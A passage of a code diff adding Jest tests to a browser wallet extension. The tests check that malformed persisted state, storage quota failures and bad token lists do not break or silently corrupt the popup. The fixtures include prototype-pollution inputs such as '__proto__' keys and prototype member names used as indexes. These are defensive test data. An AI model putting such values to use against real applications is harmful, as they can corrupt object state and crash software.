const { renderSendTokenSelect } = require("../src/popup/views/send");
|
||||||
|
|
||||||
|
renderSendTokenSelect({ address: ADDRESS, tokenBalances: [HELD] });
|
||||||
|
|
||||||
|
return select.children.map((opt) => opt.value);
|
||||||
|
}
|
||||||
|
|
||||||
|
for (const bad of ["notalist", 42, { a: 1 }, [42], [null], [{}]]) {
|
||||||
|
test(`${JSON.stringify(bad)}: a usable send screen`, async () => {
|
||||||
|
await expect(sendScreenTokens(bad)).resolves.toEqual([
|
||||||
|
TOKEN_ADDRESS,
|
||||||
|
]);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
test("a real fraud entry beside a malformed one still hides its token", async () => {
|
||||||
|
await expect(
|
||||||
|
sendScreenTokens([42, TOKEN_ADDRESS.toLowerCase()]),
|
||||||
|
).resolves.toEqual([]);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("a malformed selectedToken", () => {
|
||||||
|
test("does not blank the popup on restore", async () => {
|
||||||
|
const env = await bootPopup(
|
||||||
|
unversionedValidProfile({
|
||||||
|
currentView: "address-token",
|
||||||
|
selectedWallet: 0,
|
||||||
|
selectedAddress: 0,
|
||||||
|
selectedToken: 42,
|
||||||
|
viewStack: ["main", "address"],
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
|
||||||
|
expect({
|
||||||
|
visibleViews: env.visibleViews(),
|
||||||
|
errors: env.pageErrors,
|
||||||
|
}).toEqual({ visibleViews: ["main"], errors: [] });
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
// --------------------------------------------- a save that fails is told
|
||||||
|
|
||||||
|
describe("a save that fails", () => {
|
||||||
|
function failingStorage(profile) {
|
||||||
|
const storage = makeStorageStub({ autistmask: profile });
|
||||||
|
const realSet = storage.local.set;
|
||||||
|
storage.local.set = jest.fn(async () => {
|
||||||
|
throw new Error("QUOTA_BYTES quota exceeded");
|
||||||
|
});
|
||||||
|
storage.restoreWrites = () => {
|
||||||
|
storage.local.set = realSet;
|
||||||
|
};
|
||||||
|
return storage;
|
||||||
|
}
|
||||||
|
|
||||||
|
test("is reported, not swallowed by the save queue", async () => {
|
||||||
|
const storage = failingStorage(unversionedValidProfile());
|
||||||
|
const { state, loadState, saveState, onSaveFailure } =
|
||||||
|
loadStateModule(storage);
|
||||||
|
const failures = [];
|
||||||
|
onSaveFailure((e) => failures.push(String(e && e.message)));
|
||||||
|
|
||||||
|
await loadState();
|
||||||
|
state.theme = "dark";
|
||||||
|
// Not awaited, which is how showView() saves on every navigation and
|
||||||
|
// how the failure used to disappear entirely.
|
||||||
|
saveState();
|
||||||
|
for (let i = 0; i < 50; i++) await Promise.resolve();
|
||||||
|
|
||||||
|
expect(failures).toEqual(["QUOTA_BYTES quota exceeded"]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("still rejects for a caller that awaits it", async () => {
|
||||||
|
const storage = failingStorage(unversionedValidProfile());
|
||||||
|
const { state, loadState, saveState, onSaveFailure } =
|
||||||
|
loadStateModule(storage);
|
||||||
|
onSaveFailure(() => {});
|
||||||
|
|
||||||
|
await loadState();
|
||||||
|
state.theme = "dark";
|
||||||
|
|
||||||
|
await expect(saveState()).rejects.toThrow("QUOTA_BYTES");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("puts a banner on the popup saying nothing is being saved", async () => {
|
||||||
|
const env = await bootPopup(undefined, {
|
||||||
|
storage: failingStorage(unversionedValidProfile()),
|
||||||
|
});
|
||||||
|
|
||||||
|
// The popup is still usable — the point is that it no longer looks
|
||||||
|
// healthy while silently persisting nothing.
|
||||||
|
expect(env.visibleViews()).toEqual(["main"]);
|
||||||
|
const banner = env.node("save-failure-banner");
|
||||||
|
expect(banner).not.toBeNull();
|
||||||
|
expect(banner.textContent).toContain("NOT SAVED");
|
||||||
|
expect(banner.textContent).toContain("QUOTA_BYTES quota exceeded");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("no banner appears on a popup whose saves work", async () => {
|
||||||
|
const env = await bootPopup(unversionedValidProfile());
|
||||||
|
|
||||||
|
expect(env.node("save-failure-banner")).toBeNull();
|
||||||
|
});
|
||||||
|
});
|
||||||
867
tests/persistedFieldContract.test.js
Normal file
867
tests/persistedFieldContract.test.js
Normal file
@@ -0,0 +1,867 @@
|
|||||||
|
// What the floor under each persisted field actually guarantees — as a table
|
||||||
|
// that RUNS, one row per field.
|
||||||
|
//
|
||||||
|
// This file replaces a hand-written per-field justification in the header of
|
||||||
|
// src/shared/stateSchema.js. That comment shipped a false claim in three
|
||||||
|
// consecutive changes: every author wrote plausible prose about thirty fields,
|
||||||
|
// every reviewer re-derived it by hand, and it kept being wrong in a different
|
||||||
|
// place each time. The artifact was the problem. A claim nobody can execute is
|
||||||
|
// worse than no claim, because it is believed.
|
||||||
|
//
|
||||||
|
// So the claim is a row here instead:
|
||||||
|
//
|
||||||
|
// KIND.REFUSED assertStateUsable() refuses the record outright. Proven by
|
||||||
|
// stateProblem() naming a problem for every hostile value.
|
||||||
|
// KIND.ENTRIES normalizePersisted() floors the container AND its entries.
|
||||||
|
// Proven by holds() over the normalized value.
|
||||||
|
// KIND.SCALAR normalizePersisted() floors it to one scalar type, or to a
|
||||||
|
// fixed fallback. Proven the same way.
|
||||||
|
// KIND.LOOSE `saved.x || default`, no type check at all. The claim is
|
||||||
|
// that no structural dereference of it is reachable from a
|
||||||
|
// stored record — which cannot be argued, only driven, so the
|
||||||
|
// proof is a boot of the REAL popup entry point over a stored
|
||||||
|
// record carrying the hostile value, ONTO EVERY RESTORABLE
|
||||||
|
// VIEW. Home is not where this class of defect lives.
|
||||||
|
//
|
||||||
|
// Every row is driven through a boot regardless of kind, but only a LOOSE row
|
||||||
|
// (or a row that sets `alsoSweep`) is swept across the restore path: that is
|
||||||
|
// what declaring LOOSE costs. ENTRIES and SCALAR rows are proven by their
|
||||||
|
// holds() instead, because a floored value is not hostile by the time a
|
||||||
|
// renderer sees it. A LOOSE row must additionally prove it is loose: if
|
||||||
|
// someone floors the field — even partially — and leaves the row saying LOOSE,
|
||||||
|
// the "survives verbatim" assertion fails. A field added to PERSISTED_FIELDS
|
||||||
|
// with no row fails the first test in the file.
|
||||||
|
//
|
||||||
|
// The sweep is what makes a LOOSE row falsifiable, so read how it is driven
|
||||||
|
// before trusting it. A row the ROUTER reads (`routes`) gets its own boot per
|
||||||
|
// view, because a hostile value in it legitimately changes which view renders.
|
||||||
|
// Every other swept field is corrupted on the SAME boot, one boot per view per
|
||||||
|
// slot, and that boot has to land on the view it stored — so a field that does
|
||||||
|
// move the routing cannot hide in the crowd. Every swept field is driven at
|
||||||
|
// BOTH POLARITIES: a value nothing in src/ writes is a wrong-typed one and so
|
||||||
|
// always truthy, which leaves `if (!state.x) { state.y.deref() }` unentered on
|
||||||
|
// the very boot that corrupts x. The last slot is the falsy one for that
|
||||||
|
// reason, and a field that cannot be falsy after the floor says so in its row
|
||||||
|
// and is proven so.
|
||||||
|
//
|
||||||
|
// What that buys: whenever one of those boots reaches a structural
|
||||||
|
// dereference on the view it restored onto, this file goes red — INCLUDING a
|
||||||
|
// dereference that takes two corrupted fields at once, because the verdict is
|
||||||
|
// the combined boot itself and the per-field re-boot below can only decorate
|
||||||
|
// the message. That is the one thing an earlier version of this file got
|
||||||
|
// wrong: it asserted on the per-field list, so an observed dead popup that no
|
||||||
|
// single field reproduced was reported green.
|
||||||
|
//
|
||||||
|
// What it does NOT buy is every combination — four value combinations per
|
||||||
|
// view are driven, not the product of twelve fields. Note that the last slot
|
||||||
|
// is itself a MIX rather than a uniform polarity: every falsy-capable field is
|
||||||
|
// falsy on it while the neverFalsy ones stay hostile-truthy, so many two-field
|
||||||
|
// interactions are driven and fatal. One that needs a pairing none of the four
|
||||||
|
// slots produces is not driven at all. Nor is anything no stored record
|
||||||
|
// reaches by itself: a view only forward navigation opens, and anything behind
|
||||||
|
// a click. Booting every field separately at every value would be several
|
||||||
|
// hundred boots and most of the suite's budget; this is forty-four.
|
||||||
|
//
|
||||||
|
// The three claims this replaced, all false, all caught here by construction:
|
||||||
|
// rpcUrl reaching `new JsonRpcProvider()` (a synchronous throw, not a caught
|
||||||
|
// request); viewData's ENTRIES being dereferenced by four restore branches
|
||||||
|
// that gate on one truthy field each; and selectedWallet, where a stale
|
||||||
|
// integer index is the SAFE case and `wallets["map"]` is the throwing one.
|
||||||
|
|
||||||
|
const {
|
||||||
|
PERSISTED_FIELDS,
|
||||||
|
normalizePersisted,
|
||||||
|
} = require("../src/shared/persistedState");
|
||||||
|
const { stateProblem } = require("../src/shared/stateSchema");
|
||||||
|
const { RESTORABLE_VIEWS } = require("../src/shared/restorableViews");
|
||||||
|
const {
|
||||||
|
bootPopup,
|
||||||
|
cleanupPopup,
|
||||||
|
unversionedValidProfile,
|
||||||
|
ADDRESS,
|
||||||
|
TOKEN_ADDRESS,
|
||||||
|
} = require("./support/popupBoot");
|
||||||
|
|
||||||
|
const KIND = {
|
||||||
|
REFUSED: "refused by the gate",
|
||||||
|
ENTRIES: "container and entries type-checked",
|
||||||
|
SCALAR: "scalar type-checked",
|
||||||
|
LOOSE: "loosely floored; safety proven by driving the popup",
|
||||||
|
};
|
||||||
|
|
||||||
|
const isText = (v) => typeof v === "string";
|
||||||
|
const isRecord = (v) =>
|
||||||
|
typeof v === "object" && v !== null && !Array.isArray(v);
|
||||||
|
const isIndexOrNull = (v) => v === null || (Number.isInteger(v) && v >= 0);
|
||||||
|
const isTextOrNull = (v) => v === null || (isText(v) && v !== "");
|
||||||
|
const everyEntry = (v, fn) => Array.isArray(v) && v.every(fn);
|
||||||
|
|
||||||
|
// A row is SWEPT — driven onto every restorable view rather than only onto
|
||||||
|
// Home — when its claim is that no restore path dereferences the field. That
|
||||||
|
// is what LOOSE means. The two index rows opt in with `alsoSweep` although
|
||||||
|
// they are floored, because the restore path is precisely why they gained a
|
||||||
|
// floor and the sweep is the regression guard on it.
|
||||||
|
const swept = (row) => row.kind === KIND.LOOSE || Boolean(row.alsoSweep);
|
||||||
|
|
||||||
|
// Every value a swept row drives through a boot: the hostile set, plus the
|
||||||
|
// falsy slot that gives the field its other polarity. `hostile` values are all
|
||||||
|
// TRUTHY by nature — a value nothing in src/ writes is a wrong-typed one, and
|
||||||
|
// wrong-typed values are objects, non-empty strings and non-zero numbers. A
|
||||||
|
// field that is only ever truthy on the boot that corrupts it cannot falsify
|
||||||
|
// `if (!state.x) { state.y.deref() }`, so the falsy slot is not optional.
|
||||||
|
const sweptValues = (row) => [...row.hostile, ...(row.falsy || [])];
|
||||||
|
|
||||||
|
// What may count toward a row's POLARITY: the swept values, plus only those
|
||||||
|
// `hostileRestore` entries driven onto every restorable view. An entry that
|
||||||
|
// carries `views: [...]` reaches only those renderers, so counting it would
|
||||||
|
// let a future row claim a polarity that one view sees and the other ten do
|
||||||
|
// not. No current row does that — the restricted entries are all viewData's,
|
||||||
|
// and viewData is neverFalsy — and this is what keeps it so.
|
||||||
|
const polarityValues = (row) => [
|
||||||
|
...sweptValues(row),
|
||||||
|
...(row.hostileRestore || [])
|
||||||
|
.filter((entry) => !entry.views)
|
||||||
|
.map((entry) => entry.value),
|
||||||
|
];
|
||||||
|
|
||||||
|
// ------------------------------------------------------------------ the table
|
||||||
|
//
|
||||||
|
// `hostile` is values a stored record can carry that nothing in src/ ever
|
||||||
|
// writes. Each one is driven through the floor AND through a real popup boot —
|
||||||
|
// and, for a swept row, through one boot per restorable view — so keep the
|
||||||
|
// list short and pointed. `floorOnly` is extra values checked against the
|
||||||
|
// floor alone, which is pure and free. `hostileRestore` is extra values driven
|
||||||
|
// through the restore path only, for a value that means nothing until a
|
||||||
|
// particular branch's gate has let it past.
|
||||||
|
//
|
||||||
|
// `falsy` is the other POLARITY of a swept field, driven for the same reason.
|
||||||
|
// It is not a value src/ never writes — for three of these fields it is the
|
||||||
|
// DEFAULT_STATE default, which is the branch every ordinary install takes —
|
||||||
|
// and that is the point: without it, a dereference behind `if (!state.x)` is
|
||||||
|
// unreachable on the one boot that corrupts x. A swept row that cannot supply
|
||||||
|
// one says `neverFalsy` instead, which is proven rather than asserted: every
|
||||||
|
// falsy value stored under that field comes back TRUTHY from the floor, so no
|
||||||
|
// `!state.x` branch is reachable from a stored record at all.
|
||||||
|
|
||||||
|
const CONTRACT = [
|
||||||
|
{
|
||||||
|
field: "wallets",
|
||||||
|
kind: KIND.REFUSED,
|
||||||
|
hostile: [42, "notastructure", { a: 1 }, [null], [{ addresses: 1 }]],
|
||||||
|
},
|
||||||
|
{
|
||||||
|
field: "networkId",
|
||||||
|
kind: KIND.REFUSED,
|
||||||
|
hostile: [42, "notanetwork", { a: 1 }, "__proto__"],
|
||||||
|
},
|
||||||
|
{
|
||||||
|
field: "trackedTokens",
|
||||||
|
kind: KIND.ENTRIES,
|
||||||
|
hostile: [42, "notalist", { a: 1 }],
|
||||||
|
floorOnly: [[1, 2], [null], [{}], [[TOKEN_ADDRESS]]],
|
||||||
|
holds: (v) => everyEntry(v, (t) => isRecord(t) && isText(t.address)),
|
||||||
|
},
|
||||||
|
{
|
||||||
|
field: "allowedSites",
|
||||||
|
kind: KIND.ENTRIES,
|
||||||
|
hostile: [42, "notarecord", { [ADDRESS]: "notalist" }],
|
||||||
|
floorOnly: [
|
||||||
|
[ADDRESS],
|
||||||
|
{ [ADDRESS]: 42 },
|
||||||
|
{ [ADDRESS]: [42, null, {}] },
|
||||||
|
JSON.parse('{"__proto__":["evil.invalid"]}'),
|
||||||
|
],
|
||||||
|
holds: siteMapHolds,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
field: "deniedSites",
|
||||||
|
kind: KIND.ENTRIES,
|
||||||
|
hostile: [42, "notarecord", { [ADDRESS]: "notalist" }],
|
||||||
|
floorOnly: [
|
||||||
|
[ADDRESS],
|
||||||
|
{ [ADDRESS]: 42 },
|
||||||
|
{ [ADDRESS]: [42, null, {}] },
|
||||||
|
JSON.parse('{"__proto__":["evil.invalid"]}'),
|
||||||
|
],
|
||||||
|
holds: siteMapHolds,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
field: "fraudContracts",
|
||||||
|
kind: KIND.ENTRIES,
|
||||||
|
hostile: [42, "notalist", { a: 1 }],
|
||||||
|
floorOnly: [[42], [null], [{}], [[TOKEN_ADDRESS]]],
|
||||||
|
holds: (v) => everyEntry(v, isText),
|
||||||
|
},
|
||||||
|
{
|
||||||
|
field: "viewStack",
|
||||||
|
kind: KIND.ENTRIES,
|
||||||
|
hostile: [42, "notalist", ["main", "show-phrase", "settings"]],
|
||||||
|
floorOnly: [[1, 2], [null], [{}], ["export-privkey"]],
|
||||||
|
// Truncated at the first entry the popup will not reopen onto, rather
|
||||||
|
// than filtered: every surviving entry's Back target has to stay the
|
||||||
|
// one it had. restorableStack() may also substitute ["main"] under a
|
||||||
|
// view restored below the root, so this is the one ENTRIES field whose
|
||||||
|
// result is not always a subset of what was stored.
|
||||||
|
holds: (v) => everyEntry(v, (e) => RESTORABLE_VIEWS.has(e)),
|
||||||
|
},
|
||||||
|
{
|
||||||
|
field: "networkEndpoints",
|
||||||
|
kind: KIND.ENTRIES,
|
||||||
|
hostile: [42, "notarecord", { mainnet: "notapair" }],
|
||||||
|
floorOnly: [
|
||||||
|
[1, 2],
|
||||||
|
{ mainnet: { rpcUrl: 42, blockscoutUrl: {} } },
|
||||||
|
{ mainnet: { rpcUrl: "", blockscoutUrl: [] } },
|
||||||
|
{ sepolia: 42 },
|
||||||
|
],
|
||||||
|
// Entries are coerced rather than dropped: an unknown network id is
|
||||||
|
// KEPT, so a profile that has been on a build with more networks does
|
||||||
|
// not lose their endpoints here. What is floored is the two URL fields
|
||||||
|
// inside the pair, which applyChainSwitchFields() assigns straight onto
|
||||||
|
// s.rpcUrl / s.blockscoutUrl on the next switch.
|
||||||
|
holds: (v) =>
|
||||||
|
isRecord(v) &&
|
||||||
|
Object.keys(v).every((id) => {
|
||||||
|
const pair = v[id];
|
||||||
|
return (
|
||||||
|
isRecord(pair) &&
|
||||||
|
(pair.rpcUrl === undefined ||
|
||||||
|
(isText(pair.rpcUrl) && pair.rpcUrl !== "")) &&
|
||||||
|
(pair.blockscoutUrl === undefined ||
|
||||||
|
(isText(pair.blockscoutUrl) &&
|
||||||
|
pair.blockscoutUrl !== ""))
|
||||||
|
);
|
||||||
|
}),
|
||||||
|
},
|
||||||
|
{
|
||||||
|
field: "rpcUrl",
|
||||||
|
kind: KIND.SCALAR,
|
||||||
|
hostile: [42, true, { a: 1 }],
|
||||||
|
floorOnly: [[], "", null],
|
||||||
|
holds: (v) => isText(v) && v !== "",
|
||||||
|
// The claim this row replaced said a bad value "fails the request on a
|
||||||
|
// path that already catches". It does not: getProvider() hands rpcUrl
|
||||||
|
// to `new JsonRpcProvider()`, which throws SYNCHRONOUSLY, from two call
|
||||||
|
// sites outside any try — and a stored `currentView: "wait-tx"` reaches
|
||||||
|
// one of them through restoreView(). So the row proves the claim
|
||||||
|
// against the real constructor rather than describing it.
|
||||||
|
alsoProven: (normalized, hostile) => {
|
||||||
|
// requireActual: bootPopup() mocks this module out for the boots
|
||||||
|
// above, and a mocked getProvider() would prove nothing at all
|
||||||
|
// about the constructor this row is a claim about.
|
||||||
|
const { getProvider } = jest.requireActual(
|
||||||
|
"../src/shared/balances",
|
||||||
|
);
|
||||||
|
expect(() => getProvider(hostile, "mainnet")).toThrow();
|
||||||
|
const provider = getProvider(normalized, "mainnet");
|
||||||
|
expect(provider).toBeTruthy();
|
||||||
|
provider.destroy();
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
field: "blockscoutUrl",
|
||||||
|
kind: KIND.SCALAR,
|
||||||
|
hostile: [42, true, { a: 1 }],
|
||||||
|
floorOnly: [[], "", null],
|
||||||
|
holds: (v) => isText(v) && v !== "",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
field: "activeAddress",
|
||||||
|
kind: KIND.SCALAR,
|
||||||
|
hostile: [42, true, { a: 1 }],
|
||||||
|
floorOnly: [[ADDRESS], ""],
|
||||||
|
holds: isTextOrNull,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
field: "selectedToken",
|
||||||
|
kind: KIND.SCALAR,
|
||||||
|
hostile: [42, true, { a: 1 }],
|
||||||
|
floorOnly: [[TOKEN_ADDRESS], ""],
|
||||||
|
holds: isTextOrNull,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
field: "selectedWallet",
|
||||||
|
kind: KIND.SCALAR,
|
||||||
|
// The prototype members are the whole point: `wallets["map"]` is
|
||||||
|
// TRUTHY, so hasValidAddress()'s `&&` does not short-circuit and
|
||||||
|
// `.addresses[…]` throws. A stale INTEGER is the safe case.
|
||||||
|
hostile: ["map", "__proto__", { a: 1 }],
|
||||||
|
floorOnly: ["length", "constructor", "toString", "0", -1, 1.5, true],
|
||||||
|
holds: isIndexOrNull,
|
||||||
|
// SCALAR, and swept anyway: the restore path is precisely why this
|
||||||
|
// field gained a floor, so the sweep is the regression guard on it.
|
||||||
|
alsoSweep: true,
|
||||||
|
routes: true,
|
||||||
|
// A stale INTEGER index, which reaches the restore path by a different
|
||||||
|
// route from the prototype members above — falsy or out of range
|
||||||
|
// rather than truthy — and has to keep being the safe case.
|
||||||
|
hostileRestore: [{ value: "length" }, { value: 5 }],
|
||||||
|
},
|
||||||
|
{
|
||||||
|
field: "selectedAddress",
|
||||||
|
kind: KIND.SCALAR,
|
||||||
|
hostile: ["map", "__proto__", { a: 1 }],
|
||||||
|
floorOnly: ["length", "constructor", "toString", "0", -1, 1.5, true],
|
||||||
|
holds: isIndexOrNull,
|
||||||
|
alsoSweep: true,
|
||||||
|
routes: true,
|
||||||
|
hostileRestore: [{ value: 5 }],
|
||||||
|
},
|
||||||
|
{
|
||||||
|
field: "currentView",
|
||||||
|
kind: KIND.LOOSE,
|
||||||
|
routes: true,
|
||||||
|
// Compared, and concatenated into the debug banner's textContent
|
||||||
|
// (src/popup/views/helpers.js) with no gate in front of it, which
|
||||||
|
// coerces. Nothing renders FROM it without RESTORABLE_VIEWS.has()
|
||||||
|
// first, and Set.has() answers false for any value.
|
||||||
|
hostile: [42, "no-such-view", { a: 1 }],
|
||||||
|
// `saved.currentView || null`: the falsy polarity is the popup landing
|
||||||
|
// on Home, which every boot in "booting onto Home" below also drives.
|
||||||
|
falsy: [""],
|
||||||
|
},
|
||||||
|
{
|
||||||
|
field: "viewData",
|
||||||
|
kind: KIND.LOOSE,
|
||||||
|
routes: true,
|
||||||
|
// The container is taken verbatim; what makes its ENTRIES safe is the
|
||||||
|
// per-branch guard in src/popup/viewRouter.js. The sweep drives the
|
||||||
|
// container shapes below onto every restorable view; hostileRestore
|
||||||
|
// adds the records that PASS a branch's gate and then hand its
|
||||||
|
// renderer something it dereferences, which is where the entries are
|
||||||
|
// actually decided.
|
||||||
|
hostile: [42, "notarecord", { a: 1 }, [1, 2]],
|
||||||
|
// `structuredClone(saved.viewData || {})`: the container is never falsy
|
||||||
|
// in state whatever was stored, so no `!state.viewData` branch exists to
|
||||||
|
// drive.
|
||||||
|
neverFalsy: true,
|
||||||
|
hostileRestore: [
|
||||||
|
// success-tx passes on `data.hash`, and renderSuccess() then calls
|
||||||
|
// toAddressHtml(d.to) -> addressTitle() -> address.toLowerCase().
|
||||||
|
{ value: { hash: "0x1" }, views: ["success-tx"] },
|
||||||
|
{ value: { hash: "0x1", to: 42 }, views: ["success-tx"] },
|
||||||
|
{
|
||||||
|
value: { hash: "0x1", to: ADDRESS, decoded: { details: 7 } },
|
||||||
|
views: ["success-tx"],
|
||||||
|
},
|
||||||
|
{
|
||||||
|
value: {
|
||||||
|
hash: "0x1",
|
||||||
|
to: ADDRESS,
|
||||||
|
decoded: { details: [{ address: 42 }] },
|
||||||
|
},
|
||||||
|
views: ["success-tx"],
|
||||||
|
},
|
||||||
|
// error-tx passes on `data.message`, same dereference.
|
||||||
|
{ value: { message: "boom" }, views: ["error-tx"] },
|
||||||
|
{ value: { message: "boom", to: 42 }, views: ["error-tx"] },
|
||||||
|
// transaction passes on `data.tx`.
|
||||||
|
{ value: { tx: { hash: "0x1" } }, views: ["transaction"] },
|
||||||
|
{
|
||||||
|
value: {
|
||||||
|
tx: {
|
||||||
|
hash: "0x1",
|
||||||
|
from: ADDRESS,
|
||||||
|
to: ADDRESS,
|
||||||
|
contractAddress: 42,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
views: ["transaction"],
|
||||||
|
},
|
||||||
|
// confirm-tx passes on `data.pendingTx`.
|
||||||
|
{ value: { pendingTx: { amount: "1" } }, views: ["confirm-tx"] },
|
||||||
|
{
|
||||||
|
value: {
|
||||||
|
pendingTx: {
|
||||||
|
token: 42,
|
||||||
|
from: ADDRESS,
|
||||||
|
to: ADDRESS,
|
||||||
|
amount: "1",
|
||||||
|
},
|
||||||
|
},
|
||||||
|
views: ["confirm-tx"],
|
||||||
|
},
|
||||||
|
// wait-tx passes on `pendingWait.hash`; restoreWait() has checked
|
||||||
|
// the fields below it since it was written, and this is the
|
||||||
|
// regression guard.
|
||||||
|
{
|
||||||
|
value: {
|
||||||
|
pendingWait: {
|
||||||
|
hash: "0x1",
|
||||||
|
txInfo: { to: 42, amount: "1" },
|
||||||
|
},
|
||||||
|
},
|
||||||
|
views: ["wait-tx"],
|
||||||
|
},
|
||||||
|
// A record that passes EVERY branch's gate at once, driven onto
|
||||||
|
// every restorable view: a branch a view does not read must stay
|
||||||
|
// one it does not read, and each renderer must survive the fields
|
||||||
|
// another branch left behind.
|
||||||
|
{
|
||||||
|
value: {
|
||||||
|
hash: "0x1",
|
||||||
|
message: "boom",
|
||||||
|
tx: { hash: "0x1" },
|
||||||
|
pendingTx: { amount: "1" },
|
||||||
|
pendingWait: { hash: "0x1" },
|
||||||
|
},
|
||||||
|
},
|
||||||
|
],
|
||||||
|
},
|
||||||
|
{
|
||||||
|
field: "lastBalanceRefresh",
|
||||||
|
kind: KIND.LOOSE,
|
||||||
|
// Arithmetic only: `now - (s.lastBalanceRefresh || 0)` compares false
|
||||||
|
// for a non-number and forces a refresh.
|
||||||
|
hostile: [true, "notatime", { a: 1 }],
|
||||||
|
// `|| 0` collapses every falsy stored value to 0, so 0 IS the whole
|
||||||
|
// falsy polarity of this field — and it is the DEFAULT_STATE default,
|
||||||
|
// the value a profile carries until its first refresh lands.
|
||||||
|
falsy: [0],
|
||||||
|
},
|
||||||
|
{
|
||||||
|
field: "tokenHolderCache",
|
||||||
|
kind: KIND.LOOSE,
|
||||||
|
// Nothing DEREFERENCES it structurally. It is read by the
|
||||||
|
// field-agnostic snapshotPersisted()/deepEqual() in
|
||||||
|
// src/shared/state.js, which are safe for any value, and otherwise
|
||||||
|
// only reset wholesale in src/shared/chainSwitchFields.js.
|
||||||
|
hostile: [42, "notarecord", [1, 2]],
|
||||||
|
// `structuredClone(saved.tokenHolderCache || {})`.
|
||||||
|
neverFalsy: true,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
field: "theme",
|
||||||
|
kind: KIND.LOOSE,
|
||||||
|
// Compared against "dark"/"light" in applyTheme() and otherwise falls
|
||||||
|
// to the system branch; assigned into an input .value, which coerces.
|
||||||
|
hostile: [42, "chartreuse", { a: 1 }],
|
||||||
|
// `saved.theme || "system"`.
|
||||||
|
neverFalsy: true,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
field: "dustThresholdGwei",
|
||||||
|
kind: KIND.LOOSE,
|
||||||
|
hostile: ["notanumber", true, { a: 1 }],
|
||||||
|
// Survives verbatim, so the falsy slot is also wrong-typed: "" reaches
|
||||||
|
// filterTransactions() as a comparand and a settings input .value.
|
||||||
|
falsy: [""],
|
||||||
|
},
|
||||||
|
...[
|
||||||
|
"rememberSiteChoice",
|
||||||
|
"showZeroBalanceTokens",
|
||||||
|
"hideSpoofedSymbols",
|
||||||
|
"hideLowHolderTokens",
|
||||||
|
"hideFraudContracts",
|
||||||
|
"hideDustTransactions",
|
||||||
|
"utcTimestamps",
|
||||||
|
"debugMode",
|
||||||
|
].map((field) => ({
|
||||||
|
field,
|
||||||
|
kind: KIND.LOOSE,
|
||||||
|
// A flag: only ever tested for truthiness, and written back verbatim.
|
||||||
|
hostile: [42, "notabool", { a: 1 }],
|
||||||
|
// Both answers to that truthiness test have to be driven, and 0 is a
|
||||||
|
// value src/ never writes for a flag. For utcTimestamps and debugMode
|
||||||
|
// the falsy answer is also the DEFAULT_STATE default.
|
||||||
|
falsy: [0],
|
||||||
|
})),
|
||||||
|
];
|
||||||
|
|
||||||
|
function siteMapHolds(v) {
|
||||||
|
return (
|
||||||
|
isRecord(v) &&
|
||||||
|
Object.getPrototypeOf(v) === Object.prototype &&
|
||||||
|
!Object.prototype.hasOwnProperty.call(v, "__proto__") &&
|
||||||
|
Object.keys(v).every((key) => everyEntry(v[key], isText))
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
afterEach(() => {
|
||||||
|
cleanupPopup();
|
||||||
|
});
|
||||||
|
|
||||||
|
// -------------------------------------------------------------- exhaustive
|
||||||
|
|
||||||
|
describe("the contract covers the record", () => {
|
||||||
|
test("every persisted field has exactly one row, and no row invents one", () => {
|
||||||
|
const rows = CONTRACT.map((row) => row.field);
|
||||||
|
|
||||||
|
expect([...rows].sort()).toEqual([...PERSISTED_FIELDS].sort());
|
||||||
|
});
|
||||||
|
|
||||||
|
test("every row declares a kind this file knows how to prove", () => {
|
||||||
|
const kinds = Object.values(KIND);
|
||||||
|
for (const row of CONTRACT) {
|
||||||
|
expect(kinds).toContain(row.kind);
|
||||||
|
expect(row.hostile.length).toBeGreaterThan(0);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
// ------------------------------------------------------------- the floors
|
||||||
|
|
||||||
|
function profileWith(field, value) {
|
||||||
|
return unversionedValidProfile({ [field]: value });
|
||||||
|
}
|
||||||
|
|
||||||
|
describe("the floor each row claims", () => {
|
||||||
|
// The falsy slot is deliberately NOT in here. `saved.x || default` is a
|
||||||
|
// floor on falsy values and on nothing else, so a falsy value is the one
|
||||||
|
// thing a LOOSE field need not carry through verbatim; what it has to carry
|
||||||
|
// through is being falsy, which "both polarities" below asserts.
|
||||||
|
for (const row of CONTRACT) {
|
||||||
|
const values = [...row.hostile, ...(row.floorOnly || [])];
|
||||||
|
|
||||||
|
if (row.kind === KIND.REFUSED) {
|
||||||
|
test(`${row.field}: the gate refuses it`, () => {
|
||||||
|
for (const value of values) {
|
||||||
|
expect(
|
||||||
|
typeof stateProblem(profileWith(row.field, value)),
|
||||||
|
).toBe("string");
|
||||||
|
}
|
||||||
|
});
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
test(`${row.field}: ${row.kind}`, () => {
|
||||||
|
for (const value of values) {
|
||||||
|
const out = normalizePersisted(profileWith(row.field, value));
|
||||||
|
if (row.kind === KIND.LOOSE) {
|
||||||
|
// The claim IS that there is no floor. A field that grows
|
||||||
|
// one has to move to another kind rather than keep a row
|
||||||
|
// saying its readers are what make it safe.
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
expect({
|
||||||
|
value: value,
|
||||||
|
holds: row.holds(out[row.field]),
|
||||||
|
}).toEqual({ value: value, holds: true });
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
if (row.kind === KIND.LOOSE) {
|
||||||
|
test(`${row.field}: is genuinely unfloored`, () => {
|
||||||
|
// EVERY value, not some: a PARTIAL floor is still a floor, and
|
||||||
|
// a row that keeps saying LOOSE because one hostile value out
|
||||||
|
// of three still survives is exactly the stale claim this file
|
||||||
|
// exists to stop.
|
||||||
|
for (const value of values) {
|
||||||
|
const out = normalizePersisted(
|
||||||
|
profileWith(row.field, value),
|
